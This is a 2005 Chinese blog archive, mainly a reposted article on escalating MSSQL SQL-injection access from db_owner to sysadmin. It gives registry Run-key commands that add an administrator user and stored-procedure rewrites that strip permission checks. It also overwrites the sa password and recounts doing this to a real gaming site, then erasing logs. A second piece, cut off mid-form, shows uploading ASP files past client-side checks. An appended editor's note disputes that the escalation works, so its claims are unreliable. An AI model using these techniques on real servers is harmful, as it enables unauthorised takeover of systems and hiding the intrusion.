2005年04月13日

在IIS中,处于安全考虑,我们可以将某些页面,比如登陆后台限制只有某些特定IP才能访问,以保证安全性。

如下图,保证了managenews目录只有222.94开头的IP段可以访问。

2005年04月03日

要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限(转贴)


————只要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限
声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为
发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很
大,所以请大家不要对国内的站点做任何具有破坏性的操作。



考虑再三,偶还是决定发出来。此招手段歹毒,利用范围广泛,可以说是只要是
有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢
把话说满,呵呵,经本人数百次真实”实战演习”,基本上是100%可以拿到
webshell甚至系统权限)。
记得我在《MSSQL db_owner角色注入直接获得系统权限(续)》中写过一种
利用xp_regwrite来取得系统权限的方法:xp_regwrite
‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\currentvers ion\run’,'x
wq1′,’REG_SZ’,'net user xwq xwq /add’
xp_regwrite
‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\currentvers ion\run’,'x
wq2′,’REG_SZ’,'net localgroup administrators xwq /add’,只要让网站所在
的服务器重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不
太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发
动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。所以不太可行(
除非是你十分想要搞定的网站)。
  呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大
必杀技之一————万能提权。
  假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权
限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿
到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,
sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只
会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都
已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系
统权限,怎么拿webshell(没有上传漏洞和数据库备份等功能),大家可能回说
backup a shell,我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》
里说过拉”备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,
你还能用它吗?”呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权
限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议
,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)
呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这
就把我的三大必杀技之一————万能提升权限方法告诉大家。
在告诉大家之前,我们先做个实验
实验环境windowsxp sp1+SQL 2000 sp3,大家跟着我来step to step,首先新
建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都
不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq
连上后再里面输入sp_addlogin xuwenqiang,执行看看,出现拉什么?



服务器: 消息 2571,级别 14,状态 2,过程 sp_addlogin,行 16
用户 ‘xwq’ 没有运行 DBCC auditevent 的权限。
服务器: 消息 15247,级别 16,状态 1,过程 sp_addlogin,行 17
用户没有执行此操作的权限。



呵呵,出现上面的错误信息这很正常,因为只有sysadmin 和 securityadmin 固
定服务器角色的成员才可以执行 sp_addlogin,那么怎么才好让sp_addlogin为我
所用呢?我们在这里看一下sp_addlogin的代码:
create procedure sp_addlogin
@loginame sysname
,@passwd     sysname = Null
,@defdb     ; ; sysname = ‘master’   — UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage   sysname = Null
,@sid   varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
– SETUP RUNTIME OPTIONS / DECLARE VARIABLES –
set nocount on
Declare @ret   int   — return value of sp call
– CHECK PERMISSIONS –
IF (not is_srvrolemember(’securityadmin’) = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
– DISALLOW USER TRANSACTION –
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
– VALIDATE LOGIN NAME AS:
– (1) Valid SQL Name (SQL LOGIN)
– (2) No backslash (NT users only)
– (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
  return (1)
if (charindex(‘\’, @loginame) > 0)
begin
  raiserror(15006,-1,-1,@loginame)
  return (1)
end
–Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (‘public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
– LOGIN NAME MUST NOT ALREADY EXIST –
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
– VALIDATE DEFAULT DATABASE –
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
– VALIDATE DEFAULT LANGUAGE –
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid –server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
– VALIDATE SID IF GIVEN –
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
– VALIDATE AND USE ENCRYPTION OPTION –
declare @xstatus smallint
select @xstatus = 2 — access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus | 0×800, — old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> ’skip_encryption’
begin
raiserror(15600,-1,-1,’sp_addlogin’)
return 1
end
– ATTEMPT THE INSERT OF THE NEW LOGIN –
INSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
    getdate(), @loginame, convert(varbinary(256), @passwd),
    db_id(@defdb), @deflanguage)
if @@error <> 0 — this indicates we saw duplicate row
  return (1)
– UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE –
exec(‘use master grant all to null’)
– FINALIZATION: RETURN SUCCESS/FAILURE –
raiserror(15298,-1,-1)
return (0) — sp_addlogin
GO
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
sp_addlogin,主要是这里一段再搞鬼
– CHECK PERMISSIONS –
IF (not is_srvrolemember(’securityadmin’) = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end



只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。
好,我们先把sp_addlogin删拉
drop procedure sp_addlogin



然后再来恢复sp_addlogin



create procedure sp_addlogin
@loginame sysname
,@passwd     sysname = Null
,@defdb     ; ; sysname = ‘master’   — UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage   sysname = Null
,@sid   varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
– SETUP RUNTIME OPTIONS / DECLARE VARIABLES –
set nocount on
Declare @ret   int   — return value of sp call

– DISALLOW USER TRANSACTION –
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
– VALIDATE LOGIN NAME AS:
– (1) Valid SQL Name (SQL LOGIN)
– (2) No backslash (NT users only)
– (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
  return (1)
if (charindex(‘\’, @loginame) > 0)
begin
  raiserror(15006,-1,-1,@loginame)
  return (1)
end
–Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (‘public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
– LOGIN NAME MUST NOT ALREADY EXIST –
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
– VALIDATE DEFAULT DATABASE –
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
– VALIDATE DEFAULT LANGUAGE –
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid –server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
– VALIDATE SID IF GIVEN –
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
– VALIDATE AND USE ENCRYPTION OPTION –
declare @xstatus smallint
select @xstatus = 2 — access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus | 0×800, — old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> ’skip_encryption’
begin
raiserror(15600,-1,-1,’sp_addlogin’)
return 1
end
– ATTEMPT THE INSERT OF THE NEW LOGIN –
INSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
    getdate(), @loginame, convert(varbinary(256), @passwd),
    db_id(@defdb), @deflanguage)
if @@error <> 0 — this indicates we saw duplicate row
  return (1)
– UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE –
exec(‘use master grant all to null’)
– FINALIZATION: RETURN SUCCESS/FAILURE –
raiserror(15298,-1,-1)
return (0) — sp_addlogin
GO



这样我这个只具有db_owner权限的xwq就可以任意增加用户拉,ok,在查询分析器
里面在输入sp_addlogin xuwenqiang,执行看看,GOOD!返回已创建新登录。
我新建拉一个用户xuwenqiang,当然这个用户我可不是白建的,我要把他变成具
有最高权限的用户,在sql中具有最高权限的当然是sysadmin拉,而把一个用户变
成sysadmin只有sp_addsrvrolemember这个存储过程拉,可是只有sysadmin权限的
用户才好使用,不爽,偶要让他为我所用,呵呵,聪明的读者一定想到拉我怎么
让只具有db_owner权限的我,怎么使用sp_addsrvrolemember拉,没错,和让
sp_addlogin为我所用的方法一样,只要去掉sp_addsrvrolemember中权限限制的
一段,我们就可以任意增加sysadmin拉,我们先看看sp_addsrvrolemember的代码
:create procedure sp_addsrvrolemember
@loginame sysname,   — login name
@rolename sysname = NULL — server role name
as
– SETUP RUNTIME OPTIONS / DECLARE VARIABLES –
set nocount on
declare @ret   int,   — return value of sp call
    @rolebit   smallint,
    @ismem   int
– DISALLOW USER TRANSACTION –
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addsrvrolemember’)
return (1)
end
– VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS –
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
  raiserror(15402, -1, -1, @rolename)
  return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15247,-1,-1)
return (1)
end
– AUDIT A SUCCESSFUL SECURITY CHECK –
dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)
– CANNOT CHANGE SA ROLES –
if @loginame = ’sa’
begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
end
– OBTAIN THE BIT FOR THIS ROLE –
select @rolebit = CASE @rolename
    WHEN ’sysadmin’     THEN 16
    WHEN ’securityadmin’   THEN 32
    WHEN ’serveradmin’   THEN 64
    WHEN ’setupadmin’   THEN 128
    WHEN ‘processadmin’   THEN 256
    WHEN ‘diskadmin’   THEN 512
    WHEN ‘dbcreator’   THEN 1024
WHEN ‘bulkadmin’ THEN 4096
    ELSE NULL END
– ADD ROW FOR NT LOGIN IF NEEDED –
if not exists(select * from master.dbo.syslogins where
loginname = @loginame)
begin
  execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
  if (@ret <> 0)
begin
  raiserror(15007,-1,-1,@loginame)
  return (1)
end
end
– UPDATE ROLE MEMBERSHIP –
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate()
where name = @loginame and srvid IS NULL
– UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE –
exec(‘use master grant all to null’)
raiserror(15488,-1,-1,@loginame,@rolename)
– FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) — sp_addsrvrolemember
GO



把这一段删除 — VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS –
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
  raiserror(15402, -1, -1, @rolename)
  return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15247,-1,-1)
return (1)
end



这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入
sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就
成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限
,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或
者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和
sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程
,利用我的万能提权必杀技,我们都可以使用。比如:sp-
configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很
多只好sysadmin权限能利用的,我们都可以让他们为我所用。
下面再举一个万能提权的例子
和我一起打造一个永远不会被杀及完美的后门
我们都知道在sql中有个被黑客称为后门的用户,那就是sa,sa 是内置的管理员
登录,而且不能进行更改和删除。呵呵,这是M$说的,要是你看过我写的另外一
篇文章《完全删除sa这个后门》就知道,其实sa也是好删除的。我们知道在sql可
以改密码的存储过程有sp_password,可是我们必须知道要改的用户的旧密码,才
可以更改,那么有没有办法再不知道旧密码的情况下更改sa的密码呢?有,其实
也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配
置设置。sp_configure(用于更改配置选项)的执行许可权限默认授予 sysadmin
和 serveradmin 固定服务器角色。这很容易只要把sp_configure中检查权限的一
段删除,再重建,我们就好用拉。
CREATE PROCEDURE sp_configure — 1996/08/14 09:43
@configname   varchar(35) = NULL   — option name to configure
,@configvalue int     = NULL   — new configuration value
as
set nocount on
declare
@confignum         int   –Num of the opt to be configured
,@configcount       int   –Num of options like @configname
,@show_advance       int   –Y/N Read&Write actions on
“advanced” opts
declare @fullconfigname varchar (35)
declare @prevvalue   int
/*
** Determine @maxnumber based on advance option in syscurconfigs.
*/
if (select value from master.dbo.syscurconfigs where config = 518) = 1
select @show_advance = 1   — Display advanced options
else
select @show_advance = 0   — Don’t display advanced options
/*
** Make certain that max user info. reflects any addpak upgrades.
*/
if (select high from master.dbo.spt_values where number=103 and
type=’C')
<> @@max_connections
update master.dbo.spt_values
  set high = @@max_connections
  where number = 103
    and type=’C’
/*
** If no option name is given, the procedure will just print out all
the
** options and their values.
*/
if @configname is NULL
begin
  select name, minimum = low, maximum = high,
    config_value = c.value,
    run_value = master.dbo.syscurconfigs.value
  from master.dbo.spt_values, master.dbo.sysconfigures c,
master.dbo.syscurconfigs
  where type = ‘C’
    and number = c.config
    and number = master.dbo.syscurconfigs.config
    and
    ((c.status & 2 <> 0 and @show_advance = 1)
        OR
      (c.status & 2 = 0)
    )
  order by lower(name)
  return (0)
end
/*
** Use @configname and try to find the right option.
** If there isn’t just one, print appropriate diagnostics and return.
*/
select @configcount = count(*), @fullconfigname = min (v.name),
@prevvalue = min (c.value)
from master.dbo.spt_values v ,master.dbo.sysconfigures c
where v.name like ‘%’ + @configname + ‘%’ and v.type = ‘C’
  and v.number = c.config
  and
    ((c.status & 2 <> 0 and @show_advance = 1)
        OR
    (c.status & 2 = 0)
    )
/*
** If no option, show the user what the options are.
*/
if @configcount = 0
begin
  raiserror (15123,-1,-1,@configname)
  print ‘ ‘
  raiserror (15456,-1,-1)
  /*
  ** Show the user what the options are.
  */
  select name, minimum = low, maximum = high,
    config_value = c.value,
    run_value = master.dbo.syscurconfigs.value
  from master.dbo.spt_values, master.dbo.sysconfigures c,
master.dbo.syscurconfigs
  where type = ‘C’
    and number = c.config
    and number = master.dbo.syscurconfigs.config
    and
    ((c.status & 2 <> 0 and @show_advance = 1)
        OR
      (c.status & 2 = 0)
    )
  return (1)
end
/*
** If more than one option like @configname, show the duplicates and
return.
*/
if @configcount > 1
begin
  raiserror (15124,-1,-1,@configname)
  print ‘ ‘
  select duplicate_options = name
  from master.dbo.spt_values,master.dbo.sysconfigures c
  where name like ‘%’ + @configname + ‘%’
    and type = ‘C’
    and number = c.config
    and
    ((c.status & 2 <> 0 and @show_advance = 1)
        OR
      (c.status & 2 = 0)
    )
  return (1)
end
else
/* There must be exactly one, so get the full name. */
select @configname = name –,@value_in_sysconfigures = c.value
  from master.dbo.spt_values,master.dbo.sysconfigures c
  where name like ‘%’ + @configname + ‘%’ and type = ‘C’
    and number = c.config
    and
    ((c.status & 2 <> 0 and @show_advance = 1)
        OR
      (c.status & 2 = 0)
    )
/*
** If @configvalue is NULL, just show the current state of the option.
*/
if @configvalue is null
begin
select   v.name
      ,v.low   as ‘minimum’
      ,v.high as ‘maximum’
      ,c.value as ‘config_value’
      ,u.value as ‘run_value’
    from
      master.dbo.spt_values   v left outer join
      master.dbo.sysconfigures c on v.number = c.config
                    left outer join
      master.dbo.syscurconfigs u on v.number = u.config
    where
      v.type = ‘C ‘
    and   v.name like ‘%’ + @configname + ‘%’
    and
      ((c.status & 2 <> 0 and @show_advance = 1)
        OR
      (c.status & 2 = 0)
      )
return (0)
end
/*
** Now get the configuration number.
*/
select @confignum = number
from master.dbo.spt_values,master.dbo.sysconfigures c
where type = ‘C’
  and (@configvalue between low and high or @configvalue = 0)
  and name like ‘%’ + @configname + ‘%’
  and number = c.config
  and
    ((c.status & 2 <> 0 and @show_advance = 1)
        OR
    (c.status & 2 = 0)
    )
/*
** If this is the number of default language, we want to make sure
** that the new value is a valid language id in Syslanguages.
*/
if @confignum = 124
begin
if not exists (select * from master.dbo.syslanguages
    where langid = @configvalue)
  begin
    /* 0 is default language, us_english */
    if @configvalue <> 0
    begin
      raiserror(15127,-1,-1)
      return (1)
    end
  end
end
/*
** If this is the number of kernel language, we want to make sure
** that the new value is a valid language id in Syslanguages.
*/
if @confignum = 132
begin
if not exists (select * from master.dbo.syslanguages
    where langid = @configvalue)
  begin
    /* 0 is default language, us_english */
    if @configvalue <> 0
    begin
      raiserror(15028,-1,-1)
      return (1)
    end
  end
end
/*
** “user options” should not try to set incompatible options/values.
*/
if @confignum = 1534 –”user options”
begin
if (@configvalue & (1024+2048) = (1024+2048)) –
ansi_null_default_on/off
  begin
  raiserror(15303,-1,-1,@configvalue)
  return (1)
  end
end
/*
** Although the @configname is good, @configvalue wasn’t in range.
*/
if @confignum is NULL
begin
raiserror(15129,-1,-1,@configvalue,@configname)
return (1)
end
–Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount)
#12828.
/*
** Now update sysconfigures.
*/
update master.dbo.sysconfigures set value = @configvalue
where config = @confignum
/*
** Flush the procedure cache – this is to account for options which
become
** effective immediately (ie. dont need a server restart).
*/
dbcc freeproccache
raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with
log
return (0) — sp_configure
GO



ok,我们再
sp_configure ‘allow updates’,1
go
RECONFIGURE WITH OVERRIDE
go
好拉这样我们才好更改sa的密码。接着update sysxlogins set
password=0×0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50C
BB30267F53B9451B7189CA67AF19A1FC where sid=0×01,这样sa的密码就被我们改
成拉111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完
全删除sa这个后门》。



实例:
下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行
一次大概的验证,出于影响等诸多因素,我们称这个站点为www.**173.com。
www.**173.com这个站点在游戏上很有名气,排名在前20名(我当时测试的时候)
,在这里我不想说我怎么找到的注射点,大家还可以找找,还是满多的(整个测
试可真花费拉我不少时间,别误会,我不是说时间花在”检测”上,而是都放在
写程序里面拉,不写个像样点的程序,怎么让我为所欲为呢?整个攻击只有10分
钟不到)。
在找到的注射点gametype=**(郁闷,要是当时测试的时候有nbsi2,偶可能
要轻松不少),先输入drop procedure sp_addlogin,然后在IE里面输入(呵呵,
我当然是在我写的程序里面输入拉)
create procedure sp_addlogin
@loginame sysname
,@passwd     sysname = Null
,@defdb     ; ; sysname = ‘master’   — UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage   sysname = Null
,@sid   varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
– SETUP RUNTIME OPTIONS / DECLARE VARIABLES –
set nocount on
Declare @ret   int   — return value of sp call

– DISALLOW USER TRANSACTION –
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
– VALIDATE LOGIN NAME AS:
– (1) Valid SQL Name (SQL LOGIN)
– (2) No backslash (NT users only)
– (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
  return (1)
if (charindex(‘\’, @loginame) > 0)
begin
  raiserror(15006,-1,-1,@loginame)
  return (1)
end
–Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (‘public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
– LOGIN NAME MUST NOT ALREADY EXIST –
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
– VALIDATE DEFAULT DATABASE –
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
– VALIDATE DEFAULT LANGUAGE –
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid –server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
– VALIDATE SID IF GIVEN –
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
– VALIDATE AND USE ENCRYPTION OPTION –
declare @xstatus smallint
select @xstatus = 2 — access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus | 0×800, — old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> ’skip_encryption’
begin
raiserror(15600,-1,-1,’sp_addlogin’)
return 1
end
– ATTEMPT THE INSERT OF THE NEW LOGIN –
INSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
    getdate(), @loginame, convert(varbinary(256), @passwd),
    db_id(@defdb), @deflanguage)
if @@error <> 0 — this indicates we saw duplicate row
  return (1)
– UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE –
exec(‘use master grant all to null’)
– FINALIZATION: RETURN SUCCESS/FAILURE –
raiserror(15298,-1,-1)
return (0) — sp_addlogin
GO
OK,我们新建个用户exec master..sp_addlogin xwq



再drop procedure sp_addsrvrolemember,然后在IE里输入




create procedure sp_addsrvrolemember
@loginame sysname,   — login name
@rolename sysname = NULL — server role name
as
– SETUP RUNTIME OPTIONS / DECLARE VARIABLES –
set nocount on
declare @ret   int,   — return value of sp call
    @rolebit   smallint,
    @ismem   int
– DISALLOW USER TRANSACTION –
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addsrvrolemember’)
return (1)
end

– CANNOT CHANGE SA ROLES –
if @loginame = ’sa’
begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
end
– OBTAIN THE BIT FOR THIS ROLE –
select @rolebit = CASE @rolename
    WHEN ’sysadmin’     THEN 16
    WHEN ’securityadmin’   THEN 32
    WHEN ’serveradmin’   THEN 64
    WHEN ’setupadmin’   THEN 128
    WHEN ‘processadmin’   THEN 256
    WHEN ‘diskadmin’   THEN 512
    WHEN ‘dbcreator’   THEN 1024
WHEN ‘bulkadmin’ THEN 4096
    ELSE NULL END
– ADD ROW FOR NT LOGIN IF NEEDED –
if not exists(select * from master.dbo.syslogins where
loginname = @loginame)
begin
  execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
  if (@ret <> 0)
begin
  raiserror(15007,-1,-1,@loginame)
  return (1)
end
end
– UPDATE ROLE MEMBERSHIP –
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate()
where name = @loginame and srvid IS NULL
– UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE –
exec(‘use master grant all to null’)
raiserror(15488,-1,-1,@loginame,@rolename)
– FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) — sp_addsrvrolemember
GO



接着再exec master..sp_addsrvrolemember xwq,sysadmin
我们拿sql综合利用工具或者查询分析器连上看看,呵呵,成功拉,这样我们就在
www.**17173.com的服务器上建拉一个具有最高权限的用户xwq拉,下面的事我想
大家都应该回做拉吧。呵呵,因为只是安全测试,我并没有深入下去,删拉帐号
,清除日志,闪人。



看到拉吧,我的必杀技之一——万能提权的威力拉吧,只要是给我一个注射点,
无论什么权限,我都会给你一个webshell甚至系统权限.呵呵,其实说万能的提升
权限方法的确是有点夸张拉,因为CREATE PROCEDURE 的权限默认授予 sysadmin
固定服务器角色成员和 db_owner 和 db_ddladmin 固定数据库角色成员,你要是
碰到Public的权限,那就不好使用拉。
不过不要以为换成public权限,就没有办法拿到webshell或者系统权限拉,恰恰相
反,据我所知public权限的用户拿到webshell甚至系统权限的方法至少也有5种。
最好的防范方法就是杜绝注射漏洞,这才是治标又治本的解决方法。(呵呵,要
是我说,最好连public的权限都不要给,可惜已经没有比public权限更低的角色
拉,没办法谁叫public也可以利用很多有危险的存储过程呢,而且public无法除
去,看来M$对我们这些”坏人”还是很厚爱的哦)



后记
这篇文章是我自2004年4月份装上SQL以来利用课余时间学习研究的,12月初旬写
完,由于危害太大,我一直都不太敢发布,相信国内也有人知道的。只是不公开
而已。经过再三考虑还是决定发布了,希望大家掌握了以后,不要对国内的站点
做任何具有破坏性的操作。
再这篇文章里我并没有提到public权限的用户怎么拿到webshell或者系统权限,
而据我所知public权限的用户拿到webshell甚至系统权限的方法至少5种(偶目前
只会5种,可能还有更多的方法,要是哪位高手会更多,希望能不吝赐教,偶先谢
拉),鉴于危害实在太太大,现在还不是公布这些关键技术细节的时候,等到拉
一个适当的时机,我会把我所掌握的知识无私奉献给大家再重申一次。不要对任何国家的任何合法主机进行破坏,否则后果自负。
(欢迎转载,请保持文章的完整性)



编者:本着探讨的原则,发一下firefox对本文的一点疑问:
首先drop procedure sp_addlogin 没权限
其次INSERT INTO master.dbo.sysxlogins也没权限,不知道你怎么执行的储存过程,储存过程不过是简化了操作步骤,没有你说的那么神奇,不比扩展储存过程,利用了dll内置的函数,权限问题你考虑的太轻松了

2005年04月01日

作者:十二少[NorFolk]

注:本文已发表于2005。03期《黑客X档案》,转载请注明出处

  ————BEGIN—————

     在Web程序设计中,处理表单提交的数据是客户端向SERVER传递数据的主要方法,
表单数据的提交方法有两种Post方法和Get方法,当使用Post方法时,数据由标准的
输入设备读入,当使用Get方法时,数据由CGI变量QUERY_STRING传递给表单数据处理
程序,当Post方法一般不会在服务器上留下痕迹。具体的实现过程这里我就不多说,
有兴趣的朋友可以去翻阅其他资料。不管是ASP程序还是PHP,CGI程序,表单提交的
作用的大同小异的,所以这里仅以ASP为例。

             一.利用表单本地提交突破入侵限制
   既然表单是客户端与服务端的重要数据传递方法之一,那么它的安全性就难免会出
现问题。
   
 1:上传非法文件。
  
   某同学录的popwindowupload1.asp的客户端代码如下:
   < HTML>
   ….   
   < Script language=”javascript”>
     function mysubmit(theform)
     {
    if(theform.big.value==”")
    {
    alert(“请点击浏览按钮,选择您要上传的jpg或gif文件!”)
    theform.big.focus;
    return (false);
    }
    else
    {
    str= theform.big.value;
    strs=str.toLowerCase();
    lens=strs.length;
    extname=strs.substring(lens-4,lens);
    if(extname!=”.jpg” && extname!=”.gif”)
    {
    alert(“请选择jpg或gif文件!”);
    return (false);
    }
    }
    return (true);
    }
    < /script>
    …..
    < input type=”hidden” name=”act” value=”upload”>
    < input type=”hidden” name=”filepath” value=”/alumni/class/classimage”>
    < input type=”submit” name=”Submit2″ value=”开始上传”>
     ….
    < /HTML>
   很明显,这个上传文件在客户端利用SCRIPT限制了上传类型,虽然用SCRIPT可以减轻
  ASP程序的负载,但象大部分好的方面一样也有它坏的一面,如果其只是在客户端做限
  制,并在服务端限制上传类型或禁止外部提交,那么它并不能阻止我们上传程序禁止上传
  的ASP,CER,PHP等文件,只要我们在本地构造一个表单也能能轻松的上传这些文件。
  构造的表单主要代码如下:
    ………….
    < form name=”mainForm” enctype=”multipart/form-data” action=”http://www.***
                w.com/alumni/class/pic/upfile.asp?userid2=” method=post”>
          < tr>
